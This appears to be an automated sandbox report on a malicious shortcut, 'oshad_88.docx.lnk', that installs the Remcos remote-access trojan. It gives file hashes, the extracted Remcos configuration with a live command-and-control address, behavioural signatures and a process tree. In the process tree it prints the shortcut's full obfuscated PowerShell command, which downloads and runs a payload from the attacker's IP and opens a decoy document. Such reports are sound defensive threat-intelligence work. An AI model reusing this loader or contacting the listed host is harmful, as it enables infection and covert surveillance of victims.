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Analysis

  • max time kernel
    149s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/08/2024, 01:02

General

  • Target

    oshad_88.docx.lnk

  • Size

    15KB

  • MD5

    b8fb0340c7a12ae9d4a3847ac14308cb

  • SHA1

    4675f3d8a12942068e609fd2f12f2f020fe5762e

  • SHA256

    a2bfa5db078137d391b392758fca56b34c8d3c9b0a7e23b1ba9fa9a2edf91000

  • SHA512

    d9504ca3211e14412ba697d43983e21d100143c5a68be1799e74a704ac76ee6dc999aef09bcd10fb87b9b975bd8184815b6fc2e90ebd96e4f737244a6546d6b0

  • SSDEEP

    48:88muavUQSEfFy63YMEDo/atNixCyQvGDDo/DBdCZZGXu/dZZIa7x:88y8GFy63hXEIxCyQ/zuqQ

Malware Config

Extracted

Family

remcos

Botnet

feetfuck

C2

83.222.191.201:24251

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-XTJ1YO

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 8 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\oshad_88.docx.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2992
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win 1 echo sviYiTDifmVgwUmQzFgOPYIV; echo JzJdBqRYxLImYrcCLbpdqvjXsIJfpWlZfWY; echo ZKgorOmcNJZZMbukHvugkdfvZrLIe; if (-not(Test-Path 'signalmessenger.zip' -PathType Leaf)){&(G''et-C''om''ma''nd in???e-webr**) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/signalmessenger.zip -OutFile signalmessenger.zip}; echo SRChLBIQjesWVTeXbGypCUPpLnWGEpbzmlAuNYge; Expand-Archive -Path signalmessenger.zip -DestinationPath SecurityCheck; s''tar''t SecurityCheck/Newfts.exe; echo tAtLAczHKJaDGfRcGQexTEXSHDzsHxFvifZtnswW; &(Ge''t-Com''ma''nd in???e-webre***) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/racs/oshad_88.docx -OutFile oshad_88.docx; echo SQwXgOGQnSfQxMfeOlQMGbil; s''t''a''rt oshad_88.docx
      2⤵
      • Blocklisted process makes network request
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:404
      • C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe
        "C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:5068
        • C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exe
          C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exe
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:4972
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\SysWOW64\cmd.exe
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:4568
            • C:\Windows\SysWOW64\explorer.exe
              C:\Windows\SysWOW64\explorer.exe
              6⤵
              • System Location Discovery: System Language Discovery
              PID:624
      • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
        "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Roaming\oshad_88.docx" /o ""
        3⤵
        • Checks processor information in registry
        • Enumerates system info in registry
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious use of SetWindowsHookEx
        PID:3812

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD49BD.tmp\gb.xsl

    Filesize

    262KB

    MD5

    51d32ee5bc7ab811041f799652d26e04

    SHA1

    412193006aa3ef19e0a57e16acf86b830993024a

    SHA256

    6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

    SHA512

    5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5ursgyx5.gil.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\c47b6b2f

    Filesize

    1.2MB

    MD5

    3115302e2b5fe948bc1688f640c95f04

    SHA1

    2a4c6da043fd62311f7e0be9386a61d950c0d8f1

    SHA256

    e17d46519af0013d5d98cfccbe48067f194c75bab3a6abe570045a2b26c433be

    SHA512

    c7a026fffe3e8c55de78b482e6aebecc5fce7b2703b1ad0a890f70d76f965c4f95acff78bbff0427492fc466af7c8d66fe85c8cb40ddc2c051f6b0868a91ea76

  • C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat

    Filesize

    405B

    MD5

    76aef0f3b84edde82ebcd68680836ee4

    SHA1

    b3e649d6ca499d05ad8f498d805d911304f2db8f

    SHA256

    e1ad71ad7b8fe9b523d3efcf2e389391432f5eee6387583a758bd76ca0bc9487

    SHA512

    58a39f935074cac4fa7e427343717dd6f0a1a62b1f4eb97e3a2054cbf0d52a2b2d1f49bcfd2c6ee3841326ec272795e1665df701a97e88773eb720a2886692d8

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

    Filesize

    3KB

    MD5

    f82d947e42dcaa7a325b10d6f4affa41

    SHA1

    d4bdf3ceb8db07786da82359d5fddd7ff8945878

    SHA256

    915eb03548d9c37df4261747b03c8a8cd545d3249a09188379f40c71a5dc5179

    SHA512

    30e60445f8cd4b21bfe0f45bb9db26971c363a6bfb8b2aa573750b17002c27c357a6fcb5c15e4d866afd122aa0c0e924a3c0c69fca3b879ba78f35617b7b9f2a

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

    Filesize

    4KB

    MD5

    38b2ee31d14be5eda8b801aca218356b

    SHA1

    9789daefb6a05af310243c5d815b79bcb302599e

    SHA256

    fe4ce08aa8169b34b39073eb9fd3d8b0d8daf4306bde42a878a27faba8914b63

    SHA512

    7cda57ecff74d4eeeb52df7675bb7e240da72884fb9bd0449069742871e492659d459404e8908e20c84e877e6a6055e6bb269ff182abec33fbf7dcc61b1524e6

  • C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe

    Filesize

    2.1MB

    MD5

    db7e67835fce6cf9889f0f68ca9c29a9

    SHA1

    5565afda37006a66f0e4546105be60bbe7970616

    SHA256

    dbd3057a58fd3407c95418bc5d9c253adc8c658ee338f22d58374ed3ea37b738

    SHA512

    bc2714bb408715e5e1cec1337b831e26dbda208183955a07ec8653a38c9c0f25f60f333a154b738927ce085e7bbff438963b941a6c2773b3e7325cd900e7651b

  • C:\Users\Admin\AppData\Roaming\SecurityCheck\ProductStatistics3.dll

    Filesize

    1.1MB

    MD5

    59c15c71fd599ff745a862d0b8932919

    SHA1

    8384f88b4cac4694cf510ca0d3f867fd83cc9e18

    SHA256

    c4ed07ad748661ce776ac6ebb4f8bef7619586bfb4443ce58c92d4b889f3d5c2

    SHA512

    be3425d55dcaa361bc8481b87b2086454baca79a3c948de9acf9ef7d3084d6d987c328d665b45dfcd0510e2c97c980aa63d7cd669fe9fc1a67983c325593481e

  • C:\Users\Admin\AppData\Roaming\SecurityCheck\RegisterIdr.dll

    Filesize

    1.4MB

    MD5

    6fdb2e9ca6b7a5ad510e2b29831e3bc8

    SHA1

    4a14ee9d5660eb271a6b5f18a55ac3e05f952c68

    SHA256

    f510c85b98fa6fe8d30133114a34b7f77884aa58e57a0561722eeb157dc98a38

    SHA512

    d5248dd902d862afa060ab829fc3a39dccc26dab37737e14a3f9b90b1d3f900b3bf5821f450502a2124016acf0e84bd8979758827a92741f879b2fa4addfda06

  • C:\Users\Admin\AppData\Roaming\SecurityCheck\kytarvx

    Filesize

    31KB

    MD5

    5dc69a3e2fda6cb740f363ef77edcc13

    SHA1

    c177fabf17346531e07d562be11915bf2822148a

    SHA256

    7c24abda04537749bfb1b2d2aa57a7c9261f41012435269347f7eb2d05f71621

    SHA512

    b32848b6eded965245b759be1b72b6fc81acb4002eceae96004e88e549e21eb6eb1ceb3e51f6249d7dfb739f31223e623f7c525f677939bc935d2f6bffb50a9f

  • C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\nywrof

    Filesize

    1.0MB

    MD5

    471076308d78944d45ab35d37134134a

    SHA1

    05cf2cf6e5d11ce10425b14d68cda3246cc47263

    SHA256

    38d10ba2f4411eba8351d5b3fed74ca46bf856569dca757d055eb49d8471e11b

    SHA512

    7f140546ceda85d3c178a61689a0743c75623b7d1e2dcc3e2d29128d7e13d9671cdb660ca46312dbd8ff3d63c12836caf1a6a54c074d66bed269184044bdd9c3

  • C:\Users\Admin\AppData\Roaming\oshad_88.docx

    Filesize

    15KB

    MD5

    35a1aa0fc4972286c1db07e513c3abbc

    SHA1

    89f5e48e02a03978cd7931651518472c38a7b272

    SHA256

    be338409f57304177e56712593a9345b54d8361ef1fdc767a2fc683a6508cb4e

    SHA512

    f111c86ea937763d091ed195507ee9b3bc95854e22bf31142a9e96bdeb5c273f91f803ea463f8296d5ce611de3a9d959e993fbc03261022a074a203d14ad29c4

  • memory/404-53-0x000002885BB20000-0x000002885BD3C000-memory.dmp

    Filesize

    2.1MB

  • memory/404-17-0x000002885BB20000-0x000002885BD3C000-memory.dmp

    Filesize

    2.1MB

  • memory/404-16-0x00007FFD399F0000-0x00007FFD3A4B1000-memory.dmp

    Filesize

    10.8MB

  • memory/404-21-0x000002885BE60000-0x000002885BE6A000-memory.dmp

    Filesize

    40KB

  • memory/404-19-0x00007FFD399F0000-0x00007FFD3A4B1000-memory.dmp

    Filesize

    10.8MB

  • memory/404-2-0x00007FFD399F3000-0x00007FFD399F5000-memory.dmp

    Filesize

    8KB

  • memory/404-15-0x00007FFD399F3000-0x00007FFD399F5000-memory.dmp

    Filesize

    8KB

  • memory/404-14-0x00007FFD399F0000-0x00007FFD3A4B1000-memory.dmp

    Filesize

    10.8MB

  • memory/404-64-0x00007FFD399F0000-0x00007FFD3A4B1000-memory.dmp

    Filesize

    10.8MB

  • memory/404-13-0x00007FFD399F0000-0x00007FFD3A4B1000-memory.dmp

    Filesize

    10.8MB

  • memory/404-12-0x000002885BE70000-0x000002885BE92000-memory.dmp

    Filesize

    136KB

  • memory/404-20-0x000002885C240000-0x000002885C252000-memory.dmp

    Filesize

    72KB

  • memory/624-273-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/624-267-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/624-300-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/624-263-0x00007FFD57AD0000-0x00007FFD57CC5000-memory.dmp

    Filesize

    2.0MB

  • memory/624-274-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/624-264-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/624-299-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/624-268-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/3812-296-0x00007FFD17B50000-0x00007FFD17B60000-memory.dmp

    Filesize

    64KB

  • memory/3812-70-0x00007FFD15480000-0x00007FFD15490000-memory.dmp

    Filesize

    64KB

  • memory/3812-61-0x00007FFD17B50000-0x00007FFD17B60000-memory.dmp

    Filesize

    64KB

  • memory/3812-60-0x00007FFD17B50000-0x00007FFD17B60000-memory.dmp

    Filesize

    64KB

  • memory/3812-59-0x00007FFD17B50000-0x00007FFD17B60000-memory.dmp

    Filesize

    64KB

  • memory/3812-294-0x00007FFD17B50000-0x00007FFD17B60000-memory.dmp

    Filesize

    64KB

  • memory/3812-293-0x00007FFD17B50000-0x00007FFD17B60000-memory.dmp

    Filesize

    64KB

  • memory/3812-67-0x00007FFD15480000-0x00007FFD15490000-memory.dmp

    Filesize

    64KB

  • memory/3812-63-0x00007FFD17B50000-0x00007FFD17B60000-memory.dmp

    Filesize

    64KB

  • memory/3812-65-0x00007FFD17B50000-0x00007FFD17B60000-memory.dmp

    Filesize

    64KB

  • memory/3812-295-0x00007FFD17B50000-0x00007FFD17B60000-memory.dmp

    Filesize

    64KB

  • memory/4568-142-0x00007FFD57AD0000-0x00007FFD57CC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4568-261-0x00000000743B0000-0x000000007452B000-memory.dmp

    Filesize

    1.5MB

  • memory/4972-91-0x00000000743B0000-0x000000007452B000-memory.dmp

    Filesize

    1.5MB

  • memory/4972-93-0x00007FFD57AD0000-0x00007FFD57CC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4972-115-0x0000000000400000-0x0000000000669000-memory.dmp

    Filesize

    2.4MB

  • memory/4972-117-0x0000000002E20000-0x0000000002F92000-memory.dmp

    Filesize

    1.4MB

  • memory/4972-84-0x0000000002A80000-0x0000000002B9E000-memory.dmp

    Filesize

    1.1MB

  • memory/4972-136-0x00000000743B0000-0x000000007452B000-memory.dmp

    Filesize

    1.5MB

  • memory/4972-116-0x0000000002A80000-0x0000000002B9E000-memory.dmp

    Filesize

    1.1MB

  • memory/4972-88-0x0000000002E20000-0x0000000002F92000-memory.dmp

    Filesize

    1.4MB

  • memory/5068-47-0x0000000002C60000-0x0000000002D7E000-memory.dmp

    Filesize

    1.1MB

  • memory/5068-68-0x00007FFD57AD0000-0x00007FFD57CC5000-memory.dmp

    Filesize

    2.0MB

  • memory/5068-79-0x0000000002C60000-0x0000000002D7E000-memory.dmp

    Filesize

    1.1MB

  • memory/5068-66-0x00000000743B0000-0x000000007452B000-memory.dmp

    Filesize

    1.5MB

  • memory/5068-80-0x0000000002FC0000-0x0000000003132000-memory.dmp

    Filesize

    1.4MB

  • memory/5068-78-0x0000000000400000-0x0000000000669000-memory.dmp

    Filesize

    2.4MB

  • memory/5068-57-0x0000000002FC0000-0x0000000003132000-memory.dmp

    Filesize

    1.4MB